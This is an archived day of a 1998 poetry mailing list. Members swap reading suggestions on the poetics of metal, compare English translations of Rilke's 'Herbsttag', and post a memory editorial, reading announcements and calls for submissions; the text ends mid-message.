>suggested he read lorine niedecker, christian bok's crystallography, clark
>coolidge's the crystal text and paul metcalf's work, for tastes of how
>poets "materialize" verbally certain materials. and he's reading, of
>course, bachelard. but does anyone know of texts or writers who are
>specifically interested in metals to whom i can refer him? thanks in
>advance, and thanks also for the many responses to my "many queries" of
>about a month ago. bests, md
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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447. **W. Freind**
Kenning
Tue 22 Sep 1998

Is Patrick Durgin out there? Sorry for the front-channel.

Bill Freind

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448. **Gary Sullivan**
Rain Taxi Vol. 3 No. 3
Tue 22 Sep 1998

Hello Everyone:

The new _Rain Taxi review of books_ is now available. This issue features: an interview with John Yau by Brian Evenson; "The Death of the Author" by Ruth Andrews (literally, a meditation on death, _not_ the postmod trope); "Paul Valery & Microsoft" by Richard Grossman; an essay on Jane Bowles by Harrison Nutkins; a feature on Lost Roads presss by Eric Lorberer; an interview with Julian Rios by Alexander Larence; "adversaria," quotations courtesy of Marjorie Perloff; "It wasn't a Dream It Was a Flood: The Life and Work of Frank Stanford" by Greg Bachar; "Three Visions of the Autobiographical Eye," a review of recent graphic novels by Eric Lorberer; the next installment of my own "New Life" cartoon; and reviews of books by Heather Ramsdell (by Kelly Everding), Alice Notley (by Chris Fishbach), Michael Palmer (by Eric Lorberer), C.S. Giscombe (by Mark Nowak), John Edgar Wideman (by Rudi Dornemann), Sarah Schulman (by Charisse Gendron), Marguerite Duras (by Lucinda Ebersole), Joseph Cornell (by Randall Heath), Rigoberta Menchu (By Josie Rawson), Alison Bundy (by Kelly Everding), Arthur Sze (by Tony Barnstone), Charles Bernstein (by Gerald Schwartz), Annie Sprinkle (by Kelly Everding), Curtis White (by Christopher Sorrentino) . . . and much, much more.

Subscribe! -- 1 year = $10 (domestic), $20 (international)
Rain Taxi, Inc.
P.O. Box 3840
Minneapolis, MN 55403
[redacted]
www.raintaxi.com

Rain Taxi is edited by Caroline Kuebler, Randall Heath and Eric Lorberer.

If you would like the new issue, backchannel me and I'll send it along while my supplies last.

ciao for niao,

Gary

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449. **MAYHEW**
Rilke?
Tue 22 Sep 1998

Anyone have any recommendations on translations of Rilke? I have a twenty year old edition of the sonnets and elegies translated by Poulin, which I have never liked, despite the blurbs on the back by such luminaries as Lowell, Ignatow, Dickey, and Kunitz. My German is weak, and I don't respond well to the "yoo hoo" school of Rilke translation.

In a similar vein, I am looking for lucid essay(s) on Rilke, explaining his significance to modern poetry as a whole.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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450. **Maria Damon (Maria Damon)**
query: poetics of metallurgy
Tue 22 Sep 1998

---

hey all, an architect wants to do a directed study w/ me on the poetics of "human verdigris," that is, the effect of human touch, life, etc on metal over the course of time, the endpoin tof which would be some kind of multimedia "docoment," possibly a piece of metal w/ an inscription. i've suggested he read lorine niedecker, christian bok's crystallography, clark coolidge's the crystal text and paul metcalf's work, for tastes of how poets "materialize" verbally certain materials. and he's reading, of course, bachelard. but does anyone know of texts or writers who are specifically interested in metals to whom i can refer him? thanks in advance, and thanks also for the many responses to my "many queries" of about a month ago. bests, md

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451. **Carla Billitteri**
Re: query: poetics of metallurgy
Tue 22 Sep 1998

On Tue, 22 Sep 1998, Maria Damon (Maria Damon) wrote:

> *hey all, an architect wants to do a directed study w/ me on the poetics of*
> *"human verdigris," that is, the effect of human touch, life, etc on metal*
> *over the course of time [...]*
> *does anyone know of texts or writers who are*
> *specifically interested in metals to whom i can refer him?*

Peter Riley, _Two Essays_ (Grossteste, 1983) (the first of these is "Note on Vein Forms," about minerology: "It is a fluid substance, always bending and drooping and melting, oxydising and dissolving....This animal-like quality is in conflict with the static qualities of stone or even wood, which are also integral to human sense")

Peter Riley, _Tracks and Mineshafts_ (Grossteste, 1983) (poems: "The fuzzily scanned futures of our acts / become a chalky rubble under our feet, / crumbling downgrade, offer and result / of protection from climate, horizontal / bone web across the rim of hope, we / sink in it, down to the ocean floor")

Two sadly forgotten books

Ben F. via Carla B.

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452. Sylvester Pollet
Re: query: poetics of metallurgy
Tue 22 Sep 1998

I'm not certain about metal, but for materiality, big-time, Ian Hamilton Finlay. And don't forget Blake. sounds like fun. Sylvester

At 9:41 AM -0600 9/22/98, Maria Damon (Maria Damon) wrote:
>hey all, an architect wants to do a directed study w/ me on the poetics of
>"human verdigris," that is, the effect of human touch, life, etc on metal
>over the course of time, the endpoin tof which would be some kind of
>multimedia "docoment," possibly a piece of metal w/ an inscription. i've
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>poets "materialize" verbally certain materials. and he's reading, of
>course, bachelard. but does anyone know of texts or writers who are
>specifically interested in metals to whom i can refer him? thanks in
>advance, and thanks also for the many responses to my "many queries" of
>about a month ago. bests, md

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453. **Jessica Smith**
Re: Rilke?
Tue 22 Sep 1998

---

i like stephen mitchell. he translated "The selected poetry of Rainer Marie Rilke." I think he only translate mainstream books like that (collections) but he does a good job and also translates Neruda well.

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454. **shana**
Re: Rilke?
Tue 22 Sep 1998

---

jessica wrote:
>i like stephen mitchell. he translated "The selected poetry of Rainer Marie
>Rilke." I think he only translate mainstream books like that (collections) but
>he does a good job and also translates Neruda well.
>

He is a an excellent translator--he collaborated with Chana Bloch in translating Yehuda Amichai, and I think he works with a lot of biblical literature. I did see, however, that he wrote some book about how to use "the power of Tao Te Ching to achieve success in your financial and personal life" or something silly like that.

As for Rilke, I have _Duino Elegies_ as translated by David Oswald, and I like it.

Shana

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455. **Carl Lynden Peters**
Re: Textual abuse
Tue 22 Sep 1998

---

it's a big deal to me now. how wld you feel if someone butchered yr work, i mean how wld you feel if you really felt that they'd wrecked yr work, something you spend a lot of time on. or maybe they do butcher your work and you don't care. i think 10 years after Ron published his anthology he still cares.

c.

> *Ron, your notion of dis-owning the poem when this happens gives me some comfort. i think you are right, those poems of mine that were published without any consultation or dialogue are not mine.*

> *c.*
>
> *Nor a big deal, finally. In 10 years who'll care? Not you.*

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456. George Bowering

Re: Rilke?

Tue 22 Sep 1998

For the Sonnets I would recommend Karl Siegler's translation, published by Talonbooks about 20 years ago.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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457. Matt Kirschenbaum

Re: query: poetics of metallurgy

Tue 22 Sep 1998

Someone mentioned Blake in response to this. See Viscomi's _Blake and the Idea of the Book_ (Princeton 1993) for the authoritative discussion of the technical processes involved in Blake's relief etching on copper plates and the relationship of those processes to Blake's poetics. Matt

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458. K.Angelo Hehir

Brazilian poetry

Tue 22 Sep 1998

Sorry to be uf front cahnnel with this but i've misfiled the original addresses for the few currently interested in Brazilian poetry.

try this-
AUTHOR Perrone, Charles A.
TITLE Seven faces : Brazilian poetry since modernism / Charles A. Perrone.
IMPRINT Durham, N.C. : Duke University Press, 1996.
DESCRIPT xvi, 234 p. : ill. ; 24 cm.

NOTE Includes bibliographical references (p. [191]-227) and index.
SUBJECT Brazilian poetry -- 20th century -- History and criticism.
STD # 0822318075 (cloth : acid-free paper)
0822318148 (pbk. : acid-free paper)
OTHER NO. 96000078.
ocm34114754.

best,
kevin

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459. Aldon Nielsen
I Sing the Body Apoplectic
Tue 22 Sep 1998

here's a new low of some kind -- last night, as the talking heads had at the Clinton tapes, the conversation turned to the question of whether or not Clinton was to be believed when he said he didn't think the matter of the gifts he'd exchanged with Lewinski was anything to worry much about.

One Mark Braden, former Chief Counsel to the Republican National Committee, turned literary critic on us:

Braden:

<paraindent><param>left</param>"Do I beleive he's telling the truth? The answer is, I don't think so. It doesn't make sense. I give . . . <underline>Leaves of Grass</underline> is not the type of gift one would normally give to some young intern that works in your office. It's not that type of gift."

</paraindent>Now, that's remarkable -- The good grey bard as prima facie evidence of perjury!

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460. louis stroffolino
Re: I Sing the Body Apoplectic
Tue 22 Sep 1998

Perhaps Mark Braden would have been happier had "clinchie" given Stepping Razor as a present.....

(well, anybody here voting for GRANDPA for gov. of NY....). c

On Tue, 22 Sep 1998, Aldon Nielsen wrote:

> *here's a new low of some kind -- last night, as the talking heads had at the Clinton tapes, the conversation turned to the question of whether or not Clinton was to be believed when he said he didn't think the matter of*

> *the gifts he'd exchanged with Lewinski was anything to worry much about.*
>
> *One Mark Braden, former Chief Counsel to the Republican National Committee, turned literary critic on us:*
>
> *Braden:*
>
> *<paraindent><param>left</param>"Do I beleive he's telling the truth? The answer is, I don't think so. It doesn't make sense. I give . . . <underline>Leaves of Grass</underline> is not the type of gift one would normally give to some young intern that works in your office. It's not that type of gift."*
>
> *</paraindent>Now, that's remarkable -- The good grey bard as prima facie evidence of perjury!*

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461. Aldon Nielsen
He said what?
Tue 22 Sep 1998

> *X-Sender: [redacted]*
> *Date: Tue, 22 Sep 1998 11:44:33 -0500*
> *To: [redacted]*
> *From: "Catherine L. Preston" <[redacted]>*
> *Subject: He said what?*
> *Sender: [redacted]*
> *Reply-To: [redacted]*
>
> *"Public media should not contain explicit or implied descriptions of sex acts. Our society should be purged of the perverts who provide the media with pornographic material while pretending it has some redeeming social value under the public's 'right to know.'"*
>
> *-- Kenneth Starr, 1987, "Sixty Minutes" interview with Diane Sawyer.*
>
> *Catherine L. Preston*
> *Assistant Professor, Film Studies*
> *Dept. of Theater and Film*
> *University of Kansas,*
> *Lawrence, KS 66045-2175*
> *OFF: [redacted] FAX: [redacted]*

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462. **Stephen Cope**
Re: Beyond the Page
Tue 22 Sep 1998

Correction, that's Sunday September _27th_...

> *BEYOND THE PAGE PRESENTS:*
>
> *FOR IMMEDIATE RELEASE:*
>
> *What: Beyond the Page continues its series of monthly performance and arts events with MARK WEISS and CHRISTOPHER REINER reading from their works.*
> *Where: Faultline Theatre, 3152 5th Avenue (at Spruce in Hillcrest), San Diego.*
> *When: Sunday, September 26. 4:00 PM.*
> *Contact: Stephen Cope at* [redacted] *or Joe Ross at* [redacted]*.*
> *E-mail at* [redacted]*, or* [redacted]*.*
>
> * * * * * * * * *
>
> *CHIRISTOPHER REINER was born and raised in Southern California. He was a member of The Drift Group of experimental filmmakers, and, since 1992, he has edited _WITZ: A Journal of Contemporary Poetics_. His writing has appeared in a variety of journals, including _Avec_, and the O*Blek anthology _Writing from the New Coast_. _A Coward's Libretto_, was published as a chapbook by Texture Press, His new book is _Ogling Anchor_, recently published by Avec Books. He is currently working a short video project, "The Man Who Ate A Car."*
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> *MARK WEISS is the author of two books of poetry, _Intimate Wilderness_ and _Fieldnotes_, and two chapbooks, "Letter to Maxine" and "A Block-Print by Kuniyoshi." He has been active as a readings organizer (at the West End and the Ear Inn in New York) and as editor and publisher of the magazine _Broadway Boogie_ in the 70's and Junction Press at present. He has taught Literature, Writing, Psychology (he was a psychotherapist for 15 years) and Film at the University of Connecticut, Columbia University, Hunter College, SUNY-Old Westbury, Pima College, the University of Arizona-Extension and*

> *UCSD.*
>
> * * * * * * * * *
>
> *BEYOND THE PAGE, an independent arts group dedicated to the promotion of experimental and explorative work in contemporary arts, is proud to continue its monthly series of arts-related events with this dynamic reading/perofrmance. . For more information, call: [redacted], (619) [redacted]; e-mail: [redacted], [redacted].*

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463. Eliza McGrand

where to begin... the rumor of my demise is exaggerated

Tue 22 Sep 1998

for those of you who don't know me, skip this message (and i am terribly sorry to have bothered you).

for those of you who DO know me, you have been wondering where i am. well, short version is, about a year ago i lost access to the account that i get poetics mail on. my new account at mit was on a different server with a painfully arcane mail handler. i did not want to resubscribe till i got a better mail handler in place.

because i lost access to my old account, i lost everyone's email addresses.

so, S O R R Y to everyone who has been wondering about me. the longer you leave an embarrassing and impossible task, the more embarrassing and impossible it becomes...

excuses out of way, my new email address is [redacted]. i now have access to old account, but don't mail me there because am in process of shutting it down.

how do i get the huge block o' text version, the whole list activity for day as one email version (reply to [redacted])? i will send a real list type message shortly, but anyway, hello everyone, i missed you all badly.

e

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464. **Eliza McGrand**
call for work for free cuisinart
Tue 22 Sep 1998

for those of you who don't know, i am an editor at the Free Cuisinart, an ezine housed at the Creative Coalition of Artists site at http://www.on-net.net/~cca

this will change soon -- stay tuned for new address. we have two upcoming thematic issues coming up (new zine comes out every two months) -- here is call for work for them:

The upcoming editions of Free Cuisinart will be "The EP" Free Cuisinart (extended play), and the Flower issue.

The "EP" Cuis will feature a selection of authors with extended groups (5-8) of poems.

The Flower issue is not your typical Roses and Carnations and Romance sort of flower thing. No, we want _funky_ flowers. We want the orange bowl parade as enacted in your exe's Mai Tai. We want Busch Gardens worn on the fine sternums of Dolly Parton and Pee Wee Herman. We want you to surprise us.

The issue will feature poetry, prose, fiction, collage, and artwork involving flowers in some way. There will be room for lots of illustrations, and we are looking not just for poems and fiction, but most particularly for artwork, and for collage writing -- writing that melds prose, poetry, standard bureaucratic and/or governmental forms, found words, street scene quotation, your Aunt May's recipes, excerpts from your senior prom program... whatever fancy and artisanship dictate. Just... surprise us.

send work via email to: [redacted] or to [redacted]

send via snailm

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465. **james perez**
Re: Textual Abuse
Tue 22 Sep 1998

well, I've been slow in reading my list mail lately so sorry if I'm coming in at a bad time...

as far as editors go...

1. great way to circumvent all that "voice of the poet" stuff without even trying

2. and if you want to work with some real chance operations, let it go to print without looking at it, let somebody else re-lineate everything for you, I used to think it would be interesting to just let other people rewrite poems with my name on them (someday we will kill the author, but it's tough when the "Economist" and the "Guerilla Girls" are some of the only people on your side, they'll never work together)

I know this may seem a little flippant, but I am serious...as to whomever had an essay printed after they said "don't print this" that's very wrong...in the business world you would sue them, but in our world there's nothing to sue for I guess

All in all, if you find a good editor stick with, Elliot didn't and we ended up with "Cats." I'm far too silly today to be posting today, apologies, apologies.

Jamie

_____
Get Your Private, Free Email at http://www.hotmail.com

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466. **Eliza McGrand**
thoughts on memory
Tue 22 Sep 1998

---

everyone -- said in earlier message that i missed you, and one of the times i missed you MOST was when i took on entire cuis issue one month to give jordie a break. it was themed around memory, and i did the following editorial. i DESPARATELY wanted your thoughtful, insightful commentary before posting, but in absence of that, here is what went up. thoughs whoops thoughts on it anyone?

Editorial for the Memory Issue

The shape we make of the past forms our interpretation of the present and prophesies the future.

What we remember is what remains in our mind, not what happened. Whether a memory is an accurate representation of past events, a distortion, a partial representation, or a partial distortion, it is only a facet (or at best a few facets) of the complex, three-dimensional imago, one of the transformations of the equation of a fractal shape from gigi-second to gigi-second, twenty-four hours to twenty-four hours, fifteen minutes to fifteen minutes.

Art -- a poem, a short story, a drawing -- can capture one full quick slice of a multi-dimensioned reality either as it is happening, as it might happen, as it

happened, as it will happen, or as it could have happened. Art can pick out one facet to follow through the loops and inside-outs of a stream of time.

Someone told me once that we remember only what we tell. When we write, or draw, we are telling, and we are also telling something as if it were a memory, making a memory out of an imagined memory, putting a real memory through the filter of imagination. What is both frightening and comforting somehow is that when reading or writing, the cenotaph, the representation of a memory of what may have happened, or never happened, can draw us into another line of memory -- someone else's memories. I read when I am miserable to exist somewhere besides in myself. I read when I am elated to merge with other elations.

Each work is part of memory -- memory passing, memory recaught, memory in process, writing as a process of memory, writing as an artifact of memory, the act of memory as an act of forgetting or of living or of making a death. A writer making memory from everyone else's words, a writer making her own words into everyone else's memory. The tick, tick, tock, of a mind forgetting, forgetting and trying to hold one true thing.

Memory. Cenotaph. Imago. Eidolon. Ideograph. False. Repressed. Dissociate. Eidetic. Mimetic. Remember. Recollect. Recall. Reminisce. Regress. Anaphora. Pentimento. Inchoate. Anima. Disarticulate. is

↑ Index

467. **MAYHEW**

exercise

Tue 22 Sep 1998

There is an exercise invented perhaps by Bernadette Mayers, which I found in In the American Tree: have your friend write poems in "your" voice. (Of course this would be a deliberate experiment and not a random mangling by some third party editor) What charmed me about the experiment was the idea that one would have all these poet friends who would both know one's work and be able to pull off a convincing imitation. And of course one would have to have a distinctive enough style in the first place, so that the poems would be recognizably yours even if written by someone else. Could this rise above parody and pastiche of the more obvious sort?

May be.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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468. **dbkk**
Fanny Howe in San Francisco!
Tue 22 Sep 1998

Fanny Howe launches

Small Press Traffic's new weekend ³residency² program,
Life/Forms: New Ways to See It, New Ways to Say It

Fanny Howe Reading
Friday, September 25, 7:30 p.m.
New College Theater
777 Valencia Street, San Francisco
$5

Fanny Howe Salon
Saturday, September 26
1:00-3:00 p.m.
Lunch with Fanny at Cafe Bravo
663 Valencia (between 17th and 18th), San Francisco
Stop by for great coffee, conversation, cheap food.

Fanny Howe Talk
Saturday, September 26, 7:30 p.m.
³Bewilderment,² a Way of Being, Seeing, Thinking and Working
New College Cultural Center
766 Valencia Street , San Francisco
$5

We are very pleased to begin our new program with one of our favorite writers, the inimitable Fanny Howe. Fanny Howe has written twenty books of fiction and poetry, including The Deep North, The Lives of a Spirit, Poem from a Single Pallet, The Quietist, Robeson Street, O¹Clock, and Saving History. Her most recent is Nod from Sun and Moon Books. She has won two NEA awards and is a Fellow of the Bunting Institute. She teaches writing and American literature at UCSD. She is both of the earth and high above it, her writing touches on the spirit, the body and the complicated social and political frames both quarrel in. When I get in a jam, I always try to remember to ask myself, ³In this situation what would Fanny Howe do?²

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469. **A. Jenn Sondheim**
Re: thoughts on memory
Tue 22 Sep 1998

On Tue, 22 Sep 1998, Eliza McGrand wrote:

>
> Someone told me once that we remember only what we tell. When we write,
> or draw, we are telling, and we are also telling something as if it
> were a memory, making a memory out of an imagined memory, putting a
> real memory through the filter of imagination. What is both
> frightening and comforting somehow is that when reading or writing,
> the cenotaph, the representation of a memory of what may have happened,
> or never happened, can draw us into another line of memory -- someone
> else's memories. I read when I am miserable to exist somewhere
> besides in myself. I read when I am elated to merge with other
> elations.
>
Just want to say, I disagree with this - what we tell _shapes_ memory by
constituting it within consciousness (Sartre's Psychology of Imag. goes
into this) - but so much memory is untold - so much is within the _body_
itself, not constituted in any way by language or by practice. Drew
Leder's The Absent Body, one of my favorites, comes to mind.

There is so much reliance placed on/within language these days! As if the mind were email (you're not saying this, I know), as if ascii run rampant through columnar neural arrays. It's what's overlooked, what's not there, that's important. What broils through dreams, wavering structures that may or may not make sense, become sensate. And other than Lacan's saying more or less it's so, I don't see the unconscious structured like a language, no matter what distant shores the +like+ is relegated to.

Alan

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470. **Jacques Debrot**
Re: metallurgy
Tue 22 Sep 1998

Maria & others,

This was probably taken for granted in earlier remarks about Blake, so forgive me for stating the obvious, but the fact that Blake often wrote directly on metal & stone -- that is, on lithographic plates instead of paper -- seems relevant. Among other things, how to reconcile the material resistance of the medium

(lithographic texts must of course be written backwards, laboriously) with Blake's version of automatic writing in which, as a medium himself for occult forces, he attempts to offer no resistance?

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471. Rachel Loden
Rilke
Tue 22 Sep 1998

Augh, am I the only one with a virulent allergy to Stephen Mitchell's versions of almost anything?

We compared "Herbsttag" (Autumn Day) once on another list--here's Rilke, then Mitchell, then M.D. Herter Norton (whose _Translations from the Poetry of RMR_ is worth owning, though there may be something better):

> Herbsttag
>
> Herr: es ist Zeit. der Sommer war sehr groß.
> Leg deinen Schatten auf die Sonnenuhren,
> und suf den Fluren laß die Winde los.
>
> Befiehl den letzten Früchten voll zu sein;
> gieb ihnen noch zwei südlichere Tage,
> dränge sie zur Vollendung hin und jage
> die letzte Süße in den schweren Wein.
>
> Wer jetzt kein haus hat, baut sich keines mehr.
> Wer jetzt allein ist, wird es lange bleiben,
> wird wachen, lesen, lange Briefe schreiben
> und wird in den Allen hin und her
> unruhig wandern, wenn die Blätter treiben.

> Autumn Day
>
> Lord: it is time. The huge summer has gone by.
> Now overlap the sundials with your shadows,
> and on the meadows let the wind go free.
>
> Command the fruits to swell on tree and vine;
> grant them a few more warm transparent days,
> urge them on to fulfillment then, and press
> the final sweetness into the heavy wine.
>
> Whoever has no house now, will never have one.
> Whoever is alone will stay alone,

will sit, read, write long letters through the evening,
and wander on the boulevards, up and down,
restlessly, while the dry leaves are blowing.

tr. Stephen Mitchell

Autumn Day

Lord, it is time. The summer was very big.
Lay thy shadow on the sundials,
and on the meadows let the winds go loose.

Command the last fruits that they shall be full;
give them another two more southerly days,
press them on to fulfillment and drive
the last sweetness into the heavy wine.

Who has no house now, will build him one no more.
Who is alone now, long will so remain,
will wake, read, write long letters
and will in the avenues to and fro
restlessly wander, when the leaves are blowing.

tr. M.D. Herter Norton

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472. **Mark DuCharme**

Re: I Sing the Body Apoplectic

Tue 22 Sep 1998

One presumes he was thinking of the book's mild sexual references-- it's been banned now & again.

All of which probably proves this guy's never read it.

--Mark DuCharme

>here's a new low of some kind -- last night, as the talking heads had
at
>the Clinton tapes, the conversation turned to the question of whether
or
>not Clinton was to be believed when he said he didn't think the matter
of
>the gifts he'd exchanged with Lewinski was anything to worry much
>about.
>

>
>One Mark Braden, former Chief Counsel to the Republican National
>Committee, turned literary critic on us:
>
>
>Braden:
>
><paraindent><param>left</param>"Do I beleive he's telling the truth? The
>answer is, I don't think so. It doesn't make sense. I give . . .
><underline>Leaves of Grass</underline> is not the type of gift one would
>normally give to some young intern that works in your office. It's not
>that type of gift."
>
>
></paraindent>Now, that's remarkable -- The good grey bard as prima facie
>evidence of perjury!
>

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473. **Ron Silliman**

Re: Rilke

Tue 22 Sep 1998

Augh, am I the only one with a virulent allergy to Stephen Mitchell's versions of almost anything?-- R. Loden

No, Rachel, you are not.

Ron Silliman
[redacted]

DO NOT RESPOND to
[redacted]
It is for listservs only.

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

474. Mark DuCharme
brannen
Tue 22 Sep 1998

Thanks to Henry, Bob & Charles for responding to my query about Jonathan Brannen.

Cheers,

Mark DuCharme

_____
Get Your Private, Free Email at http://www.hotmail.com

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475. Tom Beard
Re: Rilke
Tue 22 Sep 1998

And here's Bill Gates' version (courtesy of MS Word's spellchecker):

Herb's tag

Heir: is sit zest. Deer sombre war sheer gross.
Leg denizen station auk sine sauna neurone,
undo of den florin lass die windy louse.

Befell den lesson further vole zoo sienna;
gibe inhere notch sew suede lichen tag,
drainage she fur volley dung hind undue jade
die latest Sussex in den shrewd weenie.

Where jets Kevin hauls hat, baud Sikh keenness mohair.
Wear jets alien sit, wired is flange bellboy,
wiry wheaten, lesion, lunge brief shriven
undo wild in den alley hid undue her
unhurried wander, wean die bladder tribune.

Cheers,
Tom Beard.

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476. Wystan Curnow
Re: query: poetics of metallurgy
Tue 22 Sep 1998

Maria, you asked:
> hey all, an architect wants to do a directed study w/ me on the poetics of

> "human verdigris," that is, the effect of human touch, life, etc on metal
> over the course of time, the endpoin tof which would be some kind of
> multimedia "docoment," possibly a piece of metal w/ an inscription. i've
> suggested he read lorine niedecker, christian bok's crystallography, clark
> coolidge's the crystal text and paul metcalf's work, for tastes of how
> poets "materialize" verbally certain materials. and he's reading, of
> course, bachelard. but does anyone know of texts or writers who are
> specifically interested in metals to whom i can refer him? thanks in
> advance, and thanks also for the many responses to my "many queries" of
> about a month ago. bests, md

You could have a look at Lawrence Weiner's work. This conceptual
artist says his work is not poetry, but he's no expert. I think he
is, and he's done a range of texts as metal plaques permanently
installed in the outside walls of musems, set into pavements in
Amsterdam and elsewhere. Jenny Holzer, whose not so good a poet has
however also done metal plaques.

wystan

>

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477. **George Thompson**

Re: Rilke

Tue 22 Sep 1998

Well, I've always thought that "Stephen Mitchell" was the name an electronic translation program generated by Harper Collins or Random House or one of those big publishing houses. It basically works by translating anything that you feed into it into what is called "New Age American", an artificial language that is always vaguely familiar if not accurate.

GT

> *Augh, am I the only one with a virulent allergy to Stephen Mitchell's versions of almost anything?-- R. Loden*
>
> *No, Rachel, you are not.*
>
> *Ron Silliman*
> [redacted]
>
> *DO NOT RESPOND to*
> [redacted]

> *It is for listservs only.*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

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478. **Thomas Bell**
Re: thoughts on memory
Tue 22 Sep 1998

Yes, Alan.

For my money memory is in the act of _____. The ease of the action in computerese might then explain the mindless 'news' wildfires we see all the time on the internet. (You can include this post as an example if you're so inclined. I'm not in a great mood tonight).

tom bell

A. Jenn Sondheim wrote:
>
> On Tue, 22 Sep 1998, Eliza McGrand wrote:
>
> >
> Just want to say, I disagree with this - what we tell _shapes_ memory by
> constituting it within consciousness (Sartre's Psychology of Imag. goes
> into this) - but so much memory is untold - so much is within the _body_
> itself, not constituted in any way by language or by practice. Drew
> Leder's The Absent Body, one of my favorites, comes to mind.
>
> There is so much reliance placed on/within language these days! As if the
> mind were email (you're not saying this, I know), as if ascii run rampant
> through columnar neural arrays. It's what's overlooked, what's not there,
> that's important. What broils through dreams, wavering structures that may
> or may not make sense, become sensate. And other than Lacan's saying more
> or less it's so, I don't see the unconscious structured like a language,
> no matter what distant shores the +like+ is relegated to.
>
> Alan

--
http://members.tripod.com/~trbell/Waysout.htm
http://members.home.net/trbell/motheran.htm

http://members.home.net/trbell/start.htm
http://home.talkcity.com/EaselSt/trbell/Blackwho.htm

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479. Daniel Zimmerman
Re: metallurgy
Tue 22 Sep 1998

Jacques Debrot wrote:
>
> Maria & others,
>
> This was probably taken for granted in earlier remarks about Blake, so forgive
> me for stating the obvious, but the fact that Blake often wrote directly on
> metal & stone -- that is, on lithographic plates instead of paper -- seems
> relevant. Among other things, how to reconcile the material resistance of the
> medium (lithographic texts must of course be written backwards, laboriously)
> with Blake's version of automatic writing in which, as a medium himself for
> occult forces, he attempts to offer no resistance?

Jacques,

Do you know any examples of stone lithography by Blake?

Dan Zimmerman

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480. MAYHEW
Re: Rilke
Tue 22 Sep 1998

Thanks, Rachel, I needed that opinion & comparison. And to the others who recommended or unrecommended translations of Rilke, thanks as well.

Not to single Stephen Mitchell out, but I think the larger problem is that most translators are content with very little--a sort of flat, generic translatorese. And then they wax grandiose citing Walter Benjamin. And they call this "writing a good poem in English." I was looking for more of a Pound-style translation, one that actually could make this claim in all seriousness. I guess I want translations that pay attention to L+A+N+G+U+A+G+E. Some people accept much less from translations because they know that they are translations. I have always refused to do so, and have gotten a lot of grief (or perhaps given grief to others).

I remember Bly at at a reading years ago. He said "Here, I've translated Machado into William Carlos Williams." But he hadn't really, of course. There was none of Williams' crispness and concern with form in what he had done.

Jonathan Ellsworth Mayhew

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481. **Aviva Vogel**

Rilke, Norton, and a new version

Tue 22 Sep 1998

I've also been unsettled by Stephen Mitchell's translations, enjoyable as they are, because it's quite obvious that none of the tone, diction, voice, etc. (of Rilke's original) remains. What we're left with may be wonderful poems, but only "Rilke-inspired." Anyway, after going over Rachel Loden's offering of M.D. Herter Norton's translation, and the original (although I don't speak/read German), I found Norton's work to be so much more faithful to Rilke's sounds, rhythms, and diction (as near as I can tell). Yet, I'm unsure about various phrases, like the use of "thy" rather than "your" in the first stanza's 2nd line, or the convoluted "long will so remain" in the last stanza's 2nd line. So, in my ignorance and naivete, I changed Norton's translation a touch, and wonder if there are are any German-speaking poets who might comment on whether the changes are more (or less) faithful to the original, or at least manage to avoid archaicisms that Rilke might not have intended:

Lord, it is time. The summer was so big.
Lay your shadow on the sundials,
and on the meadows let the winds loose.

Command the last fruits that they be full;
give them another two more southerly days,
press them on to fullfillment and drive
the last sweetness into the heavy wine.

Who has no house now, will build him one no more.
Who is alone now, will long remain so,
will wake, read, write long letters
and will in the avenues to and fro
restlessly wander, when the leaves are blowing.

In a message dated 9/22/98 8:28:38 PM Eastern Daylight Time, [redacted] writes:

<< Augh, am I the only one with a virulent allergy to Stephen Mitchell's versions of almost anything?

We compared "Herbsttag" (Autumn Day) once on another list--here's Rilke, then Mitchell, then M.D. Herter Norton (whose _Translations from the Poetry of RMR_ is worth owning, though there may be something better):

Herbsttag

Herr: es ist Zeit. der Sommer war sehr groß.
Leg deinen Schatten auf die Sonnenuhren,
und suf den Fluren laß die Winde los.

Befiehl den letzten Früchten voll zu sein;
gieb ihnen noch zwei südlichere Tage,
dränge sie zur Vollendung hin und jage
die letzte Süße in den schweren Wein.

Wer jetzt kein haus hat, baut sich keines mehr.
Wer jetzt allein ist, wird es lange bleiben,
wird wachen, lesen, lange Briefe schreiben
und wird in den Allen hin und her
unruhig wandern, wenn die Blätter treiben.

Autumn Day

Lord: it is time. The huge summer has gone by.
Now overlap the sundials with your shadows,
and on the meadows let the wind go free.

Command the fruits to swell on tree and vine;
grant them a few more warm transparent days,
urge them on to fulfillment then, and press
the final sweetness into the heavy wine.

Whoever has no house now, will never have one.
Whoever is alone will stay alone,
will sit, read, write long letters through the evening,
and wander on the boulevards, up and down,
restlessly, while the dry leaves are blowing.

tr. Stephen Mitchell

Autumn Day

Lord, it is time. The summer was very big.
Lay thy shadow on the sundials,
and on the meadows let the winds go loose.

Command the last fruits that they shall be full;
give them another two more southerly days,
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the last sweetness into the heavy wine.

Who has no house now, will build him one no more.
Who is alone now, long will so remain,
will wake, read, write long letters
and will in the avenues to and fro
restlessly wander, when the leaves are blowing.

tr. M.D. Herter Norton

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482. **Jessica Smith**
Re: Rilke
Tue 22 Sep 1998

I still think that Stephen Mitchell (whether man or machine) is a good translator. Both of the books I have also contain the Spanish (Neruda) and German (Rilke) untranslated. I know enough german and enough poetry to vie for Mitchell's translation of Rilke... it is poetic, it is a good, fair translation.

Far too much complaining and snobbery go on on this list. Be fair. If you don't know German well enough to do your own translations, don't judge another's translations. If you have "heard" something about a translator, read him yourself before making judgemental statements. If Rilke does not sound enough like, say, Pound, to you, in a translation, well, that is because Rilke is not Pound.

I think that no matter what translation you choose, you should try to obtain one with a side-by-side printing of German and English, so that when you are doing in-depth study of, say, diction, you can find out the connotations of the original words without depending on a middleman.

J. Smith

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483. **Aviva Vogel**
Rilke - C.F. MacIntyre
Tue 22 Sep 1998

And here's a third version (besides Stephen Mitchell's and M.D. Herder Norton's) of Rilke's poem "Autumn Day," or "Herbsttag":

Autumn Day (tr. C.F. MacIntyre)

Lord, it is time. The summer was too long.
Lay now thy shadow over the sundials,
and on the meadows let the winds blow strong.

Bid the last fruit to ripen on the vine;
allow them still two friendly southern days
